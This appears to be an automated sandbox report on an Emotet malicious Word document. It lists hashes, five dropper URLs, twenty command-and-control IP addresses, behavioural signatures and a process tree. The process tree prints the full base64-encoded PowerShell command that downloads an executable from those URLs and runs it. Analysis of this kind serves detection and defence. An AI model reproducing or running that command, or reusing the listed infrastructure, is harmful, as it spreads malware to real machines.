Analysis

  • max time kernel
    145s
  • max time network
    82s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    12/08/2020, 07:31

General

  • Target
    emotet_e3_8cfc504e0391fcfc21a287355b649c69dfd2745862a466c32f7c8bea96300a84_2020-08-12__073028._doc.doc
  • Size 228KB
  • Sample200812-yth2lg15ms
  • SHA256 8cfc504e0391fcfc21a287355b649c69dfd2745862a466c32f7c8bea96300a84
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://dyzy.c8xtt.com/Uploads/12jtbnwh2xk54420382/

  • exe.dropper

    https://ilmazon.com/images/8nYBgh7izrva76988/

  • exe.dropper

    http://utsunomiya.demae.life/ibtql/WLy/

  • exe.dropper

    http://saharfiroozian.com/wp-admin/MWuA/

  • exe.dropper

    https://studentscorner.info/wp-content/P1p8fid651819/

Extracted

Family
  • emotet

C2
  • 92.24.51.238:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 81.214.253.80:443

  • 5.79.70.250:8080

  • 41.185.29.128:8080

  • 181.164.110.7:80

  • 177.37.81.212:443

  • 203.153.216.178:7080

  • 178.33.167.120:8080

  • 77.74.78.80:443

  • 37.70.131.107:80

  • 190.164.75.175:80

  • 75.127.14.170:8080

  • 78.188.170.128:80

  • 113.161.148.81:80

  • 105.209.235.113:8080

  • 177.144.130.105:443

  • 81.17.93.134:80

  • 181.134.9.162:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8cfc504e0391fcfc21a287355b649c69dfd2745862a466c32f7c8bea96300a84_2020-08-12__073028._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABIAEkAUwBPAFgAZQB5AGQAPQAnAFMAUgBDAE8AUABkAGkAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQBUAGAAeQBwAFIAYABPAGAAVABPAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAEQAQQBEAEgAbABoAHQAIAA9ACAAJwAzADYAOAAnADsAJABBAFcAWQBLAE4AYgBxAGIAPQAnAFIARwBaAFYAQQBlAGMAcQAnADsAJABYAEwAQgBIAFAAdQBuAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQARABBAEQASABsAGgAdAArACcALgBlAHgAZQAnADsAJABJAE8AWABKAEwAaAB2AG0APQAnAEUATwBXAFUAVgBiAG0AcwAnADsAJABVAFgAQgBaAEMAYgBqAHYAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAEkATQBTAFkAUwBkAGsAZgA9ACcAaAB0AHQAcAA6AC8ALwBkAHkAegB5AC4AYwA4AHgAdAB0AC4AYwBvAG0ALwBVAHAAbABvAGEAZABzAC8AMQAyAGoAdABiAG4AdwBoADIAeABrADUANAA0ADIAMAAzADgAMgAvACoAaAB0AHQAcABzADoALwAvAGkAbABtAGEAegBvAG4ALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AOABuAFkAQgBnAGgANwBpAHoAcgB2AGEANwA2ADkAOAA4AC8AKgBoAHQAdABwADoALwAvAHUAdABzAHUAbgBvAG0AaQB5AGEALgBkAGUAbQBhAGUALgBsAGkAZgBlAC8AaQBiAHQAcQBsAC8AVwBMAHkALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGgAYQByAGYAaQByAG8AbwB6AGkAYQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAFcAdQBBAC8AKgBoAHQAdABwAHMAOgAvAC8AcwB0AHUAZABlAG4AdABzAGMAbwByAG4AZQByAC4AaQBuAGYAbwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBQADEAcAA4AGYAaQBkADYANQAxADgAMQA5AC8AJwAuACIAcwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAFgARgBNAEcAYwBjAG0APQAnAFMAVwBCAEsATgBuAGkAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBOAEwARABVAG0AagB5ACAAaQBuACAAJABJAE0AUwBZAFMAZABrAGYAKQB7AHQAcgB5AHsAJABVAFgAQgBaAEMAYgBqAHYALgAiAEQAbwBXAG4ATABvAGEAZABGAGAASQBgAGwARQAiACgAJABVAE4ATABEAFUAbQBqAHkALAAgACQAWABMAEIASABQAHUAbgBlACkAOwAkAFgAUgBLAFIAUABiAGMAbAA9ACcAWQBXAEwAWQBJAGkAdAB0ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAWABMAEIASABQAHUAbgBlACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA0ADkANQAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBgAGUAYQBUAGUAIgAoACQAWABMAEIASABQAHUAbgBlACkAOwAkAFYASABVAEcAWgBiAGMAcQA9ACcAVQBBAEoATQBSAGcAcABhACcAOwBiAHIAZQBhAGsAOwAkAFIASABEAEsAVgBwAGUAcAA9ACcAVQBOAFQAUQBUAHQAbwBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMATABLAFAATQBrAGUAcgA9ACcATwBLAFQAUgBUAGgAdABiACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1808
  • C:\Users\Admin\368.exe
    C:\Users\Admin\368.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Windows\SysWOW64\shdocvw\nslookup.exe
      "C:\Windows\SysWOW64\shdocvw\nslookup.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1904

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1108-4-0x0000000006D60000-0x0000000006F60000-memory.dmp

        memory/1108-5-0x000000000ADD0000-0x000000000ADD4000-memory.dmp

        memory/1108-6-0x000000000BE50000-0x000000000BE54000-memory.dmp

        memory/1108-2-0x0000000008860000-0x0000000008864000-memory.dmp

        memory/1108-19-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1348-17-0x0000000000340000-0x000000000034C000-memory.dmp

        memory/1808-9-0x000007FEE9200000-0x000007FEE9BEC000-memory.dmp

        memory/1808-15-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

        memory/1808-14-0x000000001B940000-0x000000001B941000-memory.dmp

        memory/1808-13-0x00000000026F0000-0x00000000026F1000-memory.dmp

        memory/1808-12-0x00000000026C0000-0x00000000026C1000-memory.dmp

        memory/1808-11-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

        memory/1808-10-0x0000000002460000-0x0000000002461000-memory.dmp

        memory/1904-22-0x00000000001E0000-0x00000000001EC000-memory.dmp

        memory/2008-23-0x000007FEEE650000-0x000007FEEE8CA000-memory.dmp